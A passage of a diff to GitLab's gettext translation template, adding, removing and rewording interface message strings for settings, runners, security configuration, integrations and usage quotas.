@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
